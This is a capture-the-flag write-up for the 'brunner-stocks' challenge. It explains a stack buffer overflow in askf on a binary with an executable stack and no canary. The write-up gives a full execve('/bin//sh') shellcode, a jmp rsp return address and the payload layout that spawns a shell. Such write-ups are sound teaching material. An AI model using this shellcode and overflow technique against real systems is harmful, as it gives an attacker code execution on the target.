brunner-stocks
The stack is executable and a gadget has been left in place, so the overflow in askf turns straight into shellcode execution rather than needing a ROP chain.
On this page
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: disabled (GNU_STACK is RWX)
PIE: No PIE (base 0x400000)stocks is a toy portfolio picker. It reads three floats, one AI-preference yes/no, then simulates ten rounds. Two facts about the binary do all the work: askf() calls fgets(buf, 0x100, stdin) into char buf[0x10], and the executable runs on an RWX stack because main uses GCC nested functions. That lets us write 23 bytes of x86-64 shellcode directly to the stack.
1. Why the stack is executable
stocks.c defines both Algorithm implementations as nested functions inside main, then takes their address:
if (ai) {
bool ai_alg(Stock s) { puts("AI alg"); return s.ai_company; }
algorithm = ai_alg;
} else {
bool real_alg(Stock s) { ... }
algorithm = real_alg;
}GCC implements a pointer to a nested function by emitting a small trampoline that fixes up the enclosing frame pointer and jumps to the real body. Trampolines are written onto the stack at runtime and then executed, so the object file emitted by GCC either drops its .note.GNU-stack marker or sets it executable. The linker propagates that to the output ELF, and PT_GNU_STACK ends up marked RWX instead of the usual RW. Parsing the program headers shows exactly that:
GNU_STACK vaddr=0x0 flags=RWXNo canary either (__stack_chk_fail is absent from the symbol table), and the ELF is a plain ET_EXEC at base 0x400000. That is the whole reason plain shellcode is the intended solution here rather than a ROP chain into libc.
2. The bug in askf
float askf(char *prompt) {
printf("%s (0.0-100.0): ", prompt);
char buf[0x10];
fgets(buf, 0x100, stdin); // 0x100 into a 0x10 buffer
return atof(buf);
}The disassembly makes the mismatch explicit:
4011cf: lea -0x10(%rbp), %rax ; buf, 16 bytes
4011d3: mov $0x100, %esi ; size = 256
4011d8: mov %rax, %rdi
4011db: call fgets@plt
4011e0: lea -0x10(%rbp), %rax
4011e4: mov %rax, %rdi
4011e7: call atof@plt
4011ec: cvtsd2ss %xmm0, %xmm0
4011f0: leave
4011f1: retqbuf sits at rbp-0x10. Sixteen bytes of buffer plus the eight-byte saved rbp places the saved return address at offset 24. atof still runs on the overflowed buffer, but its return value does not matter: we hijack the ret and never return to main.
3. The planted gadget
The source file ends with:
void gadget() {
__asm__("jmp %rsp; ret;");
}Which compiles to:
0000000000401593 <gadget>:
401593: 55 push %rbp
401594: 48 89 e5 mov %rsp, %rbp
401597: ff e4 jmp *%rsp
401599: c3 retqThe function’s prologue is not useful, since push %rbp would shift the stack under our shellcode. The exploit returns straight to 0x401597, the jmp *%rsp byte pair itself.
When askf’s ret fires, it pops the saved return address (our 0x401597) and transfers control there. At that moment rsp already points to the qword sitting immediately after the return address on the stack, which is where the payload places the shellcode. The jmp rsp then executes it in place. No leak, no ROP, no libc.
4. Shellcode
The bytes going into buf must survive fgets (which stops at \n) and the container’s socat tcp-l:1337,...,fork exec:/app/stocks,pty,echo=0,raw,iexten=0 transport. That rules out 0x0a, and 0x0d is worth avoiding too because of the pty’s CR handling. NUL is fine: fgets copies embedded NULs straight through, and the payload proves it, since p64(0x401597) contributes five of them immediately before the shellcode. The stub avoids NUL anyway out of habit. The 23-byte stub from exploit.py:
4831f6 xor rsi, rsi
56 push rsi ; NUL terminator for the string
48bf 2f62696e2f2f7368 movabs rdi, "/bin//sh"
57 push rdi
54 push rsp
5f pop rdi ; rdi -> "/bin//sh" on stack
6a3b push 0x3b
58 pop rax ; rax = SYS_execve
99 cdq ; rdx = 0
0f05 syscall"/bin//sh" is used instead of "/bin/sh\0" to keep the immediate NUL-free, which is hygiene rather than necessity here. argv is NULL because xor rsi, rsi already zeroed rsi, and envp is NULL because cdq clears rdx. The one-byte push/pop pairs keep the whole stub clear of 0x0a and 0x0d.
5. Payload
JMP_RSP = 0x401597
OFFSET = 24 # 0x10 buf + 8 saved rbp
payload = b'A' * OFFSET + p64(JMP_RSP) + shellcodeOnly the very first askf prompt is used. Once execve succeeds, the loop, AI-branch selection, and profit report never run.
Stack layout just before askf’s ret executes:
offset from rsp | contents |
|---|---|
+0 | 0x401597 (the jmp rsp byte pair) |
+8 | 4831f6 56 48bf 2f62 ... (23-byte shellcode) |
ret pops the qword at +0, rsp advances to +8, jmp rsp transfers control there.
6. Running it
$ python3 exploit.py brunner-stocks-39ba374fc090f670-global.challs.brunnerne.xyz:1337
[+] Opening connection to brunner-stocks-39ba374fc090f670-global.challs.brunnerne.xyz on port 1337: Done
[+] shell
[*] Switching to interactive mode
brunner{shellcoding_for_the_win}The live instances sit behind TLS, so exploit.py connects with ssl=True. Plain nc against that host and port gets nothing.
7. Takeaways
- An executable stack marker is worth checking on every binary. Nested C functions are the classic way a modern toolchain quietly produces one, even when the source uses none of the obvious pwn foot-guns.
- When the author leaves a
jmp rspin the binary and there is no NX and no canary, the shortest exploit is the intended one. No libc leak is needed. - The only genuinely forbidden byte is
0x0a, fromfgets;0x0dis avoided defensively because of the raw pty. Both come from the transport, not the CPU or the syscall ABI. NUL is harmless here, which the five NUL bytes insidep64(0x401597)demonstrate. Check the bad-byte list against the payload that actually works rather than assuming the usual suspects. - Once
retlands on ajmp rsp, whatever sits immediately after the saved RIP is code. The payload is simplypadding + &jmp_rsp + shellcode.